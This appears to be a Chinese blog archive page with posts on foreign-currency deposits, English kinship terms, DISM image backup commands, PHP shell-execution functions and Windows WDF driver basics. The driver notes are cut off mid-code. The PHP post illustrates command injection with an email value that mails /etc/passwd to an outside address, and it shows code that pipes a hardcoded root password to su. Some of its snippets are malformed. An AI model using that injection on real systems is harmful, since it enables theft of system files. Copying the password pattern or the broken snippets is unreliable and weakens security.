Windows PE 如何運作

2017/12/27

外幣投資理財筆記《美元定存心得》之小訣竅累積大資產

外幣定存是資產配置上不可或缺的一環,即便近期美元、澳幣偏弱整理,但若有以下3種需求,可視市場狀況逢低加碼,包括因子女海外留學,經常需兌換美元、澳幣;購買外幣計價保單,需固定換匯繳交保費;目前資金放在新台幣定存,想透過外幣定存增加利息,同時能承擔得起匯率風險。

外幣定存 基本知識篇: 外幣定期存款的利率會根據幣別而有所不同,通常會跟外幣國家的利率連動

長期以來台幣定存利率一直處於低檔,因為外幣的存款利率卻高居不下,所以吸引了不少外幣定存族。當中許多人已經是老手,但是也有不少投資者對外幣存款是初入門者,此篇主要是對外幣定存實務做個通盤的整理及說明,適合剛進入這一領域的投資者。

何謂外幣定存:

外幣定存是以外幣為標的,跟台幣一樣,約定將外幣存於銀行一期間,未到期前不得領回。外幣定期存款的利率會根據幣別而有所不同,通常會跟外幣國家的利率連動。如同台幣定存般,銀行也會給存單(有的是登記在存簿後面),到期時領取本息。如果已有外幣帳戶,可以直接用外幣存款。若沒有,也可以先將台幣換成外幣,而贖回時又要將外幣換成台幣,所以會有轉換幣值的匯率差額。

開戶手續:

外幣定存得先開設外幣帳戶,只要本人年滿20歲帶身分證、第二証件(例如護照、駕照或健保卡)和印章,當然還有主角~錢囉,到銀行臨櫃辦理說明要開外幣帳戶即可,相當方便。有些銀行開戶會設有最低開戶金額限制,金額多少各銀行不一,最好先打電話詢問。 現在網路銀行也很方便,只要在申辦時指名要有網路功能即可。到時客戶可以自己操作台幣轉外幣、外幣轉定存的功能,不用常跑銀行省卻許多時間。

國內銀行也有外幣定存:

不用跑到國外,目前國內各大銀行都有外幣定存的業務,只要有錢一切好辦。

利息發放:

外幣定存的利息通常可選擇每月領息或到期領取本息,利息也是以外幣支付。若選擇每月發放利息,每月固定時間銀行會將利息轉入活儲帳號。但是不像台幣定存般可以整存整付,自動以複利計算。例如存1萬紐幣1年,年利率6%,每月支付利息:
月利率 = 6%/12 = 0.5%,所以銀行每月會付 10,000*0.005 = 50元的紐幣,一年後銀行會還1萬紐幣的本金,這12個月總共收入利息紐幣600元。

固定或機動利率:

外幣定存目前各銀行都採固定利率。

外幣定存的獲利:

外幣定存的收益主要是利息和匯差。定存可以說是保本的產品,風險幾乎是零。但匯率像是刀的兩刃,可能賺也可能賠,獲利是不確定的。有時可能賺了利息,但卻賠了匯差。但是也有機會除了賺取高額利息外,再添匯差收入,真是錦上添花。

定存時間選擇

外幣定存一般時間大概有一週、1個月、3個月、6個月、9個月、1年這幾種選擇。不同期間的利率各有差異。舉例如澳幣定存一個月的利率是5.85%,定存一年6.1%。南非幣定存一個月是7.95%,定存一年反而降到6.75%。 在利率很接近的情況下,可以選擇較短期定存,這樣可以因應匯率變動。

其實外幣定存就跟台幣定存是一樣的,如果定存未到期而解約,利息是會打折的。如果不是要長期持有外幣打算的話,可以選擇短期定存,跑短線賺匯差比較靈活。在適當的時機換回台幣,利息與匯差都可以賺取。當然如果預期未來利率或匯率會升或降,在定存時間的選擇,就更有把握。但是要提醒讀者:匯率和股市一樣都是難以預料的,有誰說得準呢?

續存規定

定存到期續存規定可分不續存和自動續存。自動續存是以最新的定存利率續存,就不用臨櫃辦理了。

 不續存:即到期之後,本金和利息一併轉入活存
 本金續存:到期之後,本金繼續定存,而利息則轉入活存
 本利續存:又叫本息續存(即到期之後,將利息和本金一起作續存

中途解約

定存要提前解約,會損失部份利息,一般是利息打八折,未滿一個月的部份不予計息。但可能每家銀行的規定不一定相同,還是得和原銀行做確認。

外幣定存 技巧與心得分享:

美元強勢貨幣的地位仍然會繼續維持, 若台幣兌美元的匯率也來到高點, 可以開始佈局美元, 投資美元比較穩健!

趁美元低檔時候布局, 分批購入更多美金

由於預期美國聯邦準備理事會(FED)還有升息的可能性存在, 可先做短天期一個月的定存, 等到聯準會停止升息後再改成長天期半年或一年的定存, 將利率鎖在高檔。多年的投資外幣的經驗觀察下來,做美金比做其它外幣定存來的穩健,畢竟許多匯率都以美元為基準,所以美元本身就已經具有避險功能存在,即使換在高檔,一年之內都會有機會回到高檔,其它貨幣就得視當時各國經濟情況而定,如果你是用閒錢投資,當匯率不滿意還可以放著等,如果不是閒錢的話,建議還是不要投入到外幣市場,且外幣市場也不像股市行情那樣激情,投資外幣除了用閒錢外,耐心等待也很重要。

透過網路銀行, 適當的外幣投資有更多選擇

站在資產配置的觀點上,持有適當的外幣在台幣貶值的時候,是可以保值的!何況市場上基金大都是以美元或歐元來計價。 可以買了外幣後,直接再買進基金來投資! 以上的操作最好都能透過網路銀行,以免徒增買賣的麻煩!大都數的銀行都能直接在網路上買賣外幣、轉換定存或解約,不必親自去銀行排隊浪費寶貴的時間!而且用網路買基金更享有比臨櫃更加優惠的匯率喔!(跑去銀行買基金真是賠了時間又賠了手續費,何苦來哉?) 更特別的是透過網銀換匯,台灣銀行美金優惠三分、其他外幣優惠千分之二;辦理一個月的外幣定存也可以再加0.05%,這點退休族不可不知喔!

**重要** 善用銀行不定期推出的高利優惠定存!!!

除了一般規律性的美元定存之外, 銀行因為自身外幣資產需求會推出限時的高利優惠美金定存方案, 通常這類的利息會高很多, 所以大家可以透過這種方式加快累積美元資產:
1) 這種高利定存通常會限定最低金額, 也許1000美元/5000美元/1萬美元之類, 所以大家要先累積一筆美元才能參加!
2) 如果利率沒有差太多的話, 盡量選短期一點(除非美國在走降息循環,選擇長期避免之後被降息)
3) 即時的外幣優惠定存資訊 : 看這裡stockq 美元高利定存專案 / 或money101網站
4) 留意國內銀行間的外幣轉帳的費用: 匯出匯款和匯入匯款都會收手續費,中間銀行可能也要收手續費,除非是匯出行和匯入行的財富管理客戶,可能可以減免。

外幣定存 常見問答分享:

外幣定存獲利就只著重在利差跟匯差,如果沒有耐心的定存族很容易賺了利差賠了匯差,因此要用閒錢來承做比較適合

Q1 外幣定存不就是把台幣換成外幣再存定存嗎?

A1. 外幣定存有匯兌風險存在,且定存未到期解約沒有利息可拿,不像台幣定存未到期解約還有利息(會打折),台幣定存一萬就可以承做,但以美金定存來說要一千美元起跳,折合台幣約32660元,門檻相對來說有點高,再來就是國人一般對外幣定存的了解還不夠深,不懂得抓匯率的進出場點,外幣定存獲利就只著重在利差跟匯差,如果沒有耐心的定存族很容易賺了利差賠了匯差,因此要用閒錢來承做比較適合。

Q2 外幣定存會不會有賠本的情況出現呢?

A2. 外幣定存還是有賠本的可能,就是所謂的賺了利差賠了匯差,一般匯率變動都會在5-10%左右區間,波動大些的幣別漲跌幅有時甚至超過20%,而外幣定存利率最高不過5.8%(目前紐幣定存利率),如果一段時間匯率變動太大的話,就會吃掉賺到的利息錢。

Q3 我常常看到外幣定存的利率比較高,那為何還會有人想存台幣定存呢?

A3. 雖然台幣定存的利率明顯的比外幣低, 但是在台灣使用的貨幣是新台幣, 因此為了避免急需用錢時的匯損, 滿多人會選擇低風險的台幣定存。

2017/12/11

英語學習-如何用英文稱呼親戚? 家族親戚英文名稱整理~親戚稱謂(Relative title)

親戚稱謂 (Relative title): 英語學習-如何用英文稱呼親戚? 家族親戚英文名稱整理

family家族, 家庭relatives親戚
household家族kin親戚

great-grandparents(外)曾祖父母
great-grandfather(外)曾祖父great-grandmother(外)曾祖母
grandparents(外)祖父母
grandfather(外)祖父, 爺爺, 外公grandmother(外)祖母, 奶奶, 外婆
granduncle伯公, 叔公, 舅公, 丈公grandaunt姆婆, 嬸婆, 妗婆, 姑婆, 姨婆
parents父母, 雙親
father父親, 爸爸mother母親, 媽媽
father-in-law岳父, 公公mother-in-law岳母, 婆婆
stepfather繼父stepmother繼母
adoptive father養父adoptive mother養母
foster father養父foster mother養母
godfather教父godmother教母
uncle伯父, 叔父, 舅舅, 姑丈, 姨丈aunt伯母, 嬸嬸, 舅媽, 姑媽, 姨媽
spouse配偶
husband丈夫wife太太, 妻子
ex-husband前夫ex-wife前妻
widower鰥夫widow寡婦
bridegroom新郎bride新娘
fiancé未婚夫fiancée未婚妻
sibling兄弟姊妹
brother兄, 弟sister姐, 妹
full brother同胞兄弟full sister同胞姐妹
half brother同父異母或同母異父之兄弟half sister同父異母或同母異父之姊妹
stepbrother繼兄弟stepsister繼姐妹
sibling-in-law兄弟姊妹之配偶, 配偶之兄弟姊妹, 配偶兄弟姊妹之配偶
brother-in-law姊妹之夫, 配偶之兄弟, 配偶姊妹之夫
sister-in-law兄弟之妻, 配偶之姊妹, 配偶兄弟之妻
cousin堂兄弟姊妹, 表兄弟姊妹
cousin-in-law姻堂表兄弟姊妹
堂表兄弟姊妹之配偶, 配偶之堂表兄弟姊妹, 配偶堂表兄弟姊妹之配偶, 堂表兄弟姊妹配偶之兄弟姊妹
child / children子女
son兒子daughter-in-law媳婦
son-in-law女婿daughter女兒
stepson繼子stepdaughter繼女
adopted son養子adopted daughter養女
foster son養子foster daughter養女
godson教子goddaughter教女
nephew姪子, 外甥niece-in-law姪媳, 甥媳
nephew-in-law姪(女)婿, 甥女婿niece姪女, 甥女
grandchild子孫
grandson(外)孫granddaughter-in-law(外)孫媳
grandson-in-law(外)孫婿granddaughter(外)孫女
grandnephew姪(外)孫grandniece姪(外)孫女
great-grandchild曾子孫
great-grandson(外)曾孫great-granddaughter(外)曾孫女

2017/08/23

Dism備份還原相關指令整理 (ScratchDir目錄必須存在,避免錯誤)

先在備份存儲分區下新建文件夾X:\sources和X:\temp (X表示備份位置,文件夾名字自定,英文)

進入winPE後,命令提示符

使用diskpart確定路徑(不同的環境下顯示的盤符可能不同)
diskpart
Diskpart>在這行字符後面直接輸入diskpart命令回車即可執行相應的操作。

幾個基本命令如下(注:// 前面為命令,//後面為命令解釋):
list disk // 列出所有接在電腦上的存儲設備,並為每個存儲設備用數字編號,通常主硬盤編號為0。
select disk N // 選中編號為N的磁盤
list part // 列出選中磁盤上所有的分區
select part N // 選中編號為N的分區
detail part // 顯示選中分區的詳細信息。其中“LTR”即為分區盤符。
exit // 退出Diskpart

這裡再介紹兩條命令(非Diskpart命令):
cd /d xxxxxx // 進入xxxx目錄。如,進入C:,則輸入cd /d C:
dir /a // 顯示當前目錄中的文件結構。

第一次備份:
Dism /Capture-image /Imagefile:X:\sources\install.wim /Scratchdir:X:\temp (/compress:maximum) /Capturedir:C:\ /Name:xxxx /Description:xxxxxx

後期備份:
Dism /Append-Image /Imagefile:X:\sources\install.wim /Scratchdir:X:\temp
(compress:maximum) /Capturedir:C:\ /Name:xxxx /Description:xxxx

/Compress:Maximum 高壓,當然對應用時更多,這一句為可選參數,默認為fast
/Description:xxxxx 可選參數,添加描述方便後期處理使用
(C表示系統安裝所在分區,xxxx中不要出現空格,每個參數以/開始、用空格隔開)

獲取WIM文件映像信息:
例如:查看 G:\sources\install.wim 映像信息
Dism /Get-WimInfo /Wimfile:G:\sources\install.wim

命令解釋:
/Get-WimInfo //顯示有關 WIM 文件中的映像的信息。
/Wimfile //指定 WIM 文件路徑。
    可以在後面添加索引號或名稱來查看某次備份的詳細信息。還可以在後面添加 >d:\list.txt 把信息導出為記事本,方便查看。如:
Dism /Get-WimInfo /Wimfile:G:\sources\install.wim /Index:1 >d:\list.txt
或:Dism /Get-WimInfo /Wimfile:G:\sources\install.wim /Name:Win8Pro-1 >d:\list.txt
    在一個映像中如果有兩個卷映像同名,就不能用指定名稱來查看這兩個卷映像的詳細信息。

具有多個卷映像的 WIM 文件中卷映像的處理:
例如:刪除 G:\sources\install.wim 中的第二次備份:               
Dism /Delete-Image /ImageFile:G:\sources\install.wim /Index:2
命令解釋:
/Delete-Image // 從具有多個卷映像的 WIM 文件刪除指定的捲映像。
    此命令僅刪除卷映像名稱與描述,而不會刪除卷映像數據。可用於防止誤應用該卷映像。刪除指定的捲映像僅刪除了名稱與描述,而不會刪除卷映像數據,所以不會減小 WIM 文件的體積。

用 /Export-Image 命令從具有多個卷映像的 WIM 文件中提取需要保留的單獨卷映像,以減小 WIM 文件的體積。
例如:從 G:\sources\install.wim 中提取第二次備份到 G:\sources 中,保存為 install-02.wim):
Dism /Export-Image /SourceImageFile:G:\sources\install.wim /SourceIndex:2 /DestinationImageFile:G:\sources\install-02.wim
命令解釋:
/Export-Image – 將指定映像的副本導出到其他文件。
/SourceImageFile – 指定映像文件來源路徑。
/SourceIndex – 指定來源索引。
    如果 Win8Pro.wim 中有五個備份,我們只想保留其中第二與第五個備份,同樣可以用 /Export-Image 命令把其中 Index:2 與 Index:5 提取出來,保存為 Win8.wim。命令如下:
Dism /Export-Image /SourceImageFile:G:\sources\install.wim /SourceIndex:2 /DestinationImageFile:G:\sources\install-02.wim
Dism /Export-Image /SourceImageFile:G:\sources\install.wim /SourceIndex:5 /DestinationImageFile:G:\sources\install-02.wim
     install02.wim 中就包涵有兩個卷映像,卷映像的索引號會發生改變,但名稱不會變。

把 Windows 系統(WIM 映像)快速安裝到任何分區:
把 G:\sources\install.wim 中第二次備份還原到 C 分區,指定臨時目錄為 G:\temp
Dism /Apply-Image /ImageFile:G:\sources\install.wim /Index:2 /ScratchDir:G:\temp /ApplyDir:C:\ /Verify
 /Apply-Image //應用一個映像。
/ApplyDir //指定應用目錄。
/Index // 指定索引。此項不能省略。
    因 Dism 安裝 WIM 映像不會像 Ghost 那樣格式化磁盤,所以如果需要可以自己格式化系統盤。
    修改映像路徑與應用目錄可把任意一個系統備份的捲映像還原到任意一個分區。修改卷映像索引號或卷映像名稱可以還原備份映像中的任意一個備份。
    
也可以用此命令把 Windows 系統(WIM 映像)快速安裝到任何分區。
例如在 PE 中把 Win8Pro 安裝到 C 分區(設 Win8ISO 用虛擬光驅加載的盤符為 E):
Dism /Apply-Image /ImageFile:E:\sources\install.wim /Index:1 /Scratchdir:X:\temp /ApplyDir:C:\
    由於 Windows 系統原始(WIM 映像)中沒有啟動引導文件,需要添加啟動引導:
bcdboot C:\windows /s C: /l zh-cn
    如果是把 Windows 8 安裝到 USB 設備中作 Windows To Go,也應添加啟動引導:
bcdboot X:\windows /s X: /l zh-cn /f ALL (X為 USB 設備的盤符)。

附錄:一些可用選項

/Verify – 指定校驗。用於檢查錯誤和文件重複。
/CheckIntegrity – 用於在捕捉、卸載、導出和提交操作中使用 .wim 文件時檢測和跟踪 .wim 文件的損壞情況。
    用於在 DISM 檢測到 .wim 文件在應用和裝載操作中發生損壞時停止操作。
/ScratchDir – 指定暫存目錄的路徑。此目錄必須存在。該目錄必須位於本地。
/Compress – 用於指定對初始捕捉操作使用的壓縮類型。
    maximum 選項能提供最佳壓縮效果,但是捕捉映像所用的時間較長。
    fast 選項能提供更快速的映像壓縮,但生成的文件比使用 maximum 選項壓縮的文件大。這也是在未指定參數時所用的默認壓縮類型。
    none 選項不會壓縮捕捉的映像。
/ConfigFile – 指定映像捕捉和壓縮命令排除列表配置文件的位置。

默認的排除列表——默認情況下,DISM.exe 工具將排除以下文件:

[ExclusionList]
\$ntfs.log
\hiberfil.sys
\pagefile.sys
\swapfile.sys
“\System Volume Information”
\RECYCLER
\Windows\CSC
[CompressionExclusionList]
*.mp3
*.zip
*.cab
\WINDOWS\inf\*.pnf

 

/ScratchDir – 指定暫存目錄的路徑。

創建或處理 Windows 映像時,你應使用帶有 DISM 的 /ScratchDir 選項,在不同的驅動器上創建臨時目錄。臨時目錄適用於許多 DISM 操作,包括捕獲映像、安裝語言包、更新或在 Windows 映像中安裝或刪除 Windows 功能。先將一些文件擴展到此臨時目錄,然後再將它們應用於 Windows 映像。

/ScratchDir
    指定用來解壓縮服務文件的臨時目錄。此目錄必須存在。
    指定在服務期間提取臨時使用的文件時要使用的臨時目錄。該目錄必須位於本地。
    安裝完成後,不再需要此目錄的內容,可以將其刪除。
    如果你不使用 /ScratchDir 選項設置臨時目錄路徑, Windows PE 將默認創建 32-MB 臨時目錄。
    如果未指定臨時目錄,將使用 \Windows\%Temp% 目錄,以及每次運行 DISM 時隨機生成的十六進制值的子目錄名稱。每次操作後,都會刪除暫存目錄中的項。
    作為最佳做法,你應使用 /ScratchDir 選項,轉而在其他有足夠空間支持任何映像管理和你所執行的服務操作的分區上指定目錄

2017/08/17

PHP 執行系統外部命令: system() exec() passthru() 與 反撇號法

PHP作為一種server端的腳本語言,可以編寫簡單與複雜的動態網頁功能,PHP能夠完全勝任。但有時為了實行某些功能,筆續透過外部的shell script或是指令(或稱為命令),可以比較有效率的完成目的。那麼,是否可以在PHP中執行外部指令呢? 答案:可以,且只要用一個或幾個function即可

這幾個function的區別:

system() 輸出並返回最後一行shell結果。
exec() 不輸出結果,返回最後一行shell結果,所有結果可以保存到一個返回的數組裡面。
passthru()只調用命令,把命令的運行結果原樣地直接輸出到標準輸出設備上。

這幾個function的相同點:都可以獲得命令執行的狀態碼

demo:

system('dir');exec ('dir');passthru ('dir');echo `dir`; //這是第(3)種方法

在PHP中調用外部命令,可以用如下三種方法來實現:

(1)用PHP提供的專門函數

PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。以下說明
system()
原型:string system (string command [, int return_var])
system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:

system("/usr/local/bin/webalizer/webalizer");

exec()
原型:string exec (string command [, string array [, int return_var]])
exec ()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array 可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二 個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:

exec("/bin/ls -l");exec("/bin/ls -l", $res);exec("/bin/ls -l", $res, $rc);

passthru()
原型:void passthru (string command [, int return_var])
passthru ()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標準輸出設備上。所以passthru()函數經常用來調用象pbmplus (Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:

header("Content-type: image/gif");passthru("./ppmtogif hunte.ppm");

(2)用popen()函數打開進程

上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。
popen()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一 的操作模式,要么寫,要么讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。
例子1:

$fp=popen("/bin/ls -l", "r");

例子2(本例來自PHP中國聯盟網站http://www.phpx.com/show.php?d=col&i=51):

/* PHP中如何增加一個系統用戶: 下面是一段例程,增加一個名字為james的用戶,root密碼是verygood。僅供參考 */$sucommand = "su --login root --command";$useradd = "useradd ";$rootpasswd = "verygood";$user = "james";$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);$fp = @popen($user_add,"w");@fputs($fp,$rootpasswd);@pclose($fp);

(3)用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:

$res='/bin/ls -l';echo ''.$res.'';

這個腳本的輸出就像:

hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php

要考慮兩個問題:安全性和超時。

先看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的 EMAIL地址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail 程序來發送這個文件。程序就像這樣:

system("mail $to < products.txt");echo "我們的產品目錄已經發送到你的信箱:$to";

用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail someone@domain.com < /etc/passwd ;'

那麼這條命令最終變成:

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

我相信,無論哪個網絡管理人員見到這樣的命令,都會嚇出一身冷汗來。
幸好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。

函數EscapeShellCmd把一個字符串中所有可能瞞過Shell而去執行另外一個命令的字符轉義。這些字符在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入 (<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字符串兩邊加上單引號,並把字符串中的單引號轉義,這樣這個字符串 就可以安全地作為命令的參數。

再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運行。但在默認情況下,象system()等函數要等到 這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是把命令的輸出重定向到另外一個文件或流中,如:

system("/usr/local/bin/order_proc > /tmp/null &"); 

2017/08/10

Windows Driver 開發學習筆記

延伸閱讀: 本站另一文 Video and Graphic windows driver 驅動程式開發筆記

眾所周知, 早期的Windows 95/98的設備驅動是VxD(Virtual Device Driver),其中x表示某一類設備。從Windows 2000開始,開發驅動程序必以WDM(Windows Driver Model)為基礎的,但是,如果使用DDK來開發WDM,其開發難度之大,根本不能奢望像用戶模式應用程序開發那樣容易,因此,一般用戶都是使用WinDriver、DriverStudio之類的第三方工具。

為改善這種局面,從Vista開始,微軟推出了新的驅動程序開發環境WDF(Windows Driver Foundation )。 WDF和WDM的關係有點類似於MFC和Windows SDK的關係,有編程經驗的人一看就知道為何WDF開發比WDM容易了。

微軟有寫了基本概要, 先看看原廠介紹吧! 然後根據每個小課程的練習與實作, 應該就會慢慢進步了解!
連結:Windows programming guide for driver technologies

先安裝環境吧!

設置編譯環境 – 開發環境安裝Visual Studio, Windows SDK, 以及Windows driver kit(WDK)

寫出你的第一個驅動程式吧!

Write your first driver

WDF 有KMDF和UMDF兩種模式:

  • 內核模式驅動程序 KMDF(Kernel-Mode Driver Framework):這類驅動程序作為內核模式操作系統組件的一部分執行,它們管理I/O、即插即用、內存、進程和線程、安全等。內核模式驅動程序通常為分層結構。關於KMDF更多的內容,可參閱 MSDN中“Getting Started with Kernel-Mode Driver Framework ”。
  • 用戶模式驅動程序 UMDF(User-Mode Driver Framework):這類驅動程序通常提供 Win32 應用程序與內核模式驅動程序或其他操作系統組件之間的接口。用戶模式驅動程序支持基於協議或基於串行總線(如攝像機和便攜音樂播放器)的設備。關於UMDF更多的內容,可參閱 MSDN中“ Introduction to UMDF“。
  • 無論內核模式的驅動程序或者用戶模式的驅動程序,都使用同一環境進行構建,這一環境稱為WDK;都採用同一套對像模型構建,採用同一個基礎承載,這個基礎就是WDF。由於WDF驅動模型提供了面向對象和事件驅動的驅動程序開發框架,大大降低了開發難度。從現在開始,掌握Windows設備驅動程序的開發人員,由過去的“專業”人士,將變為“普通”大眾。因此,像WinDriver、DriverStudio之類的第三方工具也隨之退出歷史舞台。
  • KMDF是Windows系統底層驅動,文件名為:*.SYS,Vista為2萬多外設提供了KMDF,其中也包括USB2.0,因此對於具有USB2.0協議的FX2,只需編寫與FX2相關的UMDF即可;
    UMDF是用戶層驅動,文件名為:*.DLL。

程式進入點 DriverEntry

(轉自steward-fu)
Windows Driver Framework(WDF)是新型的驅動程式架構並且分成Kernel Mode Driver Framework(KMDF)和User Mode Driver Framework(UMDF)兩種架構,UMDF是跑在User Mode的Driver;而KMDF則是跑在Kernel Mode,所以KMDF的行為以及寫法會跟WDM很相似,畢竟KMDF是一個重新包裝WDM架構的驅動程式,所以很多WDM的東西還是可以共用的,但是KMDF的誕生畢竟是為了簡化WDM的複雜性,如果要寫KMDF驅動程式就遵照KMDF建議的方式製作,之後維護程式的人也比較清楚關係,畢竟很多人還是從KMDF開始學習驅動程式,並非是從WDM開始學習。

KMDF的驅動程式又分成PnP(Plug and Play)和Non-PnP兩種類型,PnP類型的驅動程式主要負責的職務是跟支援隨插即用的裝置溝通,其類型大致上有:USB、1394、PCI等隨插即用裝置,而相較於PnP類型的驅動程式,Non-PnP類型的驅動程式並不支援隨插即用的IRP(I/O Request Packet),系統當然也不會發送隨插即用的IRP到Non-PnP驅動程式,因為Non-PnP主要支援非隨插即用裝置,因此相關的隨插即用資源是無法存取的,但是還是可以存取Legacy硬體I/O,而KMDF的PnP跟Non-PnP驅動程式,其實就是WDM和Legacy類型的驅動程式。

不管是KMDF(PnP、Non-PnP)、WDM或Legacy驅動程式,它們的程式進入點一律是DriverEntry(),而且格式是一樣的,定義如下:

NTSTATUS DriverEntry(PDRIVER_OBJECT, PUNICODE_STRING);

系統載入驅動程式時會呼叫DriverEntry()並帶入兩個參數,第一個PDRIVER_OBJECT是Driver Object指標,該指標會包含驅動程式物件的所有資訊,當然有些欄位是不允許使用者更改的,而另一個參數PUNICODE_STRING則是Registry Path,每個驅動程式在安裝時,都會產生一個註冊表項目,該項目就是當Windows啟動時要載入用的,所以註冊表亂更改時,驅動程式可能就不會被正確載入。

需要注意的是,就算有相同的裝置載入同一份驅動程式,則Driver Object也僅會只有一份,那這一些相同裝置的驅動程式資料不就會亂掉嗎?答案是:不會的,因為會有多份Device Oject,每個Device Object各代表不同的裝置。那DriverEntry()需要做哪一些事情呢?做法跟WDM是很類似的,都需要註冊Callback副程式,差别只是呼叫API不一樣,因為KMDF使用了事件、屬性、訊息當作處理的核心機制,其實有點像Windows的視窗程式寫法。範例:

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath){ WDF_DRIVER_CONFIG config; NTSTATUS status;  WDF_DRIVER_CONFIG_INIT(&config, AddDevice); status = WdfDriverCreate(pDrvObj, pRegPath, WDF_NO_OBJECT_ATTRIBUTES, &config, WDF_NO_HANDLE); if(!NT_SUCCESS(status)){  DbgPrint("WdfDriverCreate failed 0x%x\n", status);  return status; } return STATUS_SUCCESS;}

上面的程式只註冊AddDevice Callback副程式,其餘Callback交給預設的KMDF副程式處理,很簡短吧!該程式是透過WDF_DRIVER_CONFIG_INIT()做Callback初始化,該副程式看起來很簡單,但是怕該副程式隱藏很多細節,所以司徒將它的內容貼出來看一下

VOID FORCEINLINE WDF_DRIVER_CONFIG_INIT(OUT PWDF_DRIVER_CONFIG Config, IN PFN_WDF_DRIVER_DEVICE_ADD EvtDriverDeviceAdd){ RtlZeroMemory(Config, sizeof(WDF_DRIVER_CONFIG)); Config->Size = sizeof(WDF_DRIVER_CONFIG); Config->EvtDriverDeviceAdd = EvtDriverDeviceAdd;}

WDF_DRIVER_CONFIG_INIT()看來只有做記憶體初始化跟Config結構的初始化,算是很簡單的初始化而已。
初始化完Config結構後,程式接著使用WdfDriverCreate()產生Framework Driver Object,這個地方就跟WDM不一樣,WDM不需要產生Driver Object,而KMDF因為核心是採用WDM的架構,所以需要建立另一組資料給KMDF使用,另外要注意的是DriverEntry()回傳值的部分,因為回傳值會決定載入驅動程式的成功或失敗。KMDF相較於WDM的架構,真是越來越簡潔,但是,沒有WDM基礎的使用者,司徒覺得對於除錯以及詳細原理會越來越難搞清楚,畢竟包裝太多WDM的東西,看似簡單,卻是隱藏很多細節,對於初學者或經驗不足的使用者,細節完全不懂時,很難Debug比較難的問題。

AddDevice

當系統找到符合的裝置(透過INF檔案安裝)且驅動程式被系統載入後,AddDevice()就會被系統呼叫,而AddDevice()是在DriverEntry()裡面註冊的,所以系統才會知道AddDevice()位於何處,名稱不一定要用AddDevice,但是參數跟回傳值必須遵照Microsoft的定義,否則會有問題。
AddDevice()副程式定義如下:

NTSTATUS AddDevice(PDRIVER_OBJECT, PDEVICE_OBJECT);

傳入的PDRIVER_OBJECT是該驅動程式的Driver Object,而PDEVICE_OBJECT則是位於下層的驅動程式Device Object,WDM驅動程式的架構是使用堆疊方式做驅動程式的添加、刪除,例如:如果使用者寫的是USB驅動程式,則下層可能就是USB Bus驅動程式,如果使用者寫的驅動程式只是一個虛擬的純軟體驅動程式,那麼下層驅動程式就是I/O Manager,由於使用堆疊的架構,所以WDM驅動程式又可以加入Upper Filter、Lower Filter Driver,Filter Driver的目的是提供I/O Request Packet(IRP)修改的功能,達到不需更改原始的驅動程式就可以做錯誤修正。

那在AddDevice()需要做什麼事情呢?一般會產生一個新的Device Object並為該Device Object建造一條Symbolic Link,該Symbolic Link就是提供給User Mode的應用程式開啟(僅能使用CreateFile() API開啟),還記得呼叫CreateFile()時會提供一個名字嗎?若記得的話,此名字就是驅動程式的Symbolic Link名稱。那問題又來了,有沒有可能裝置會使用同一個Symbolic Link名字呢?答案是,肯定會發生的,所以Microsoft建議大家使用GUID的方式註冊,而系統將會自動產生一個唯一的名稱給該註冊的裝置,如果是這樣的話,那User Mode的應用程式如何開啟驅動程式呢?這時候就必須使用Setup API做GUID列舉並取得Symbolic Link名稱,哪一種方式比較好呢?如果是使用Symbolic Link註冊名稱,User Mode應用程式比較好寫,因為名稱已經知道了,反之,使用GUID註冊的話,User Mode應用程式需要列舉判斷後才能開啟,所以會比較不好寫,但是優點則是名稱不會衝突。
範例

PDEVICE_OBJECT gNextDevice=NULL; NTSTATUS AddDevice(PDRIVER_OBJECT pOurDriver, PDEVICE_OBJECT pPhyDevice){  PDEVICE_OBJECT pOurDevice;  UNICODE_STRING usDeviceName;  UNICODE_STRING usSymboName;   // step 1. create new device and symbolic link  RtlInitUnicodeString(&usDeviceName, L"\\Device\\firstWDM");  RtlInitUnicodeString(&usSymboName, L"\\DosDevices\\firstWDM");  IoCreateDevice(pDrvObj, 0, &usDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pOurDevice);  IoCreateSymbolicLink(&usSymboName, &usDeviceName);   // step 2. attach to driver stack and save the next object for later use  gNextDevice = IoAttachDeviceToDeviceStack(pOurDevice, 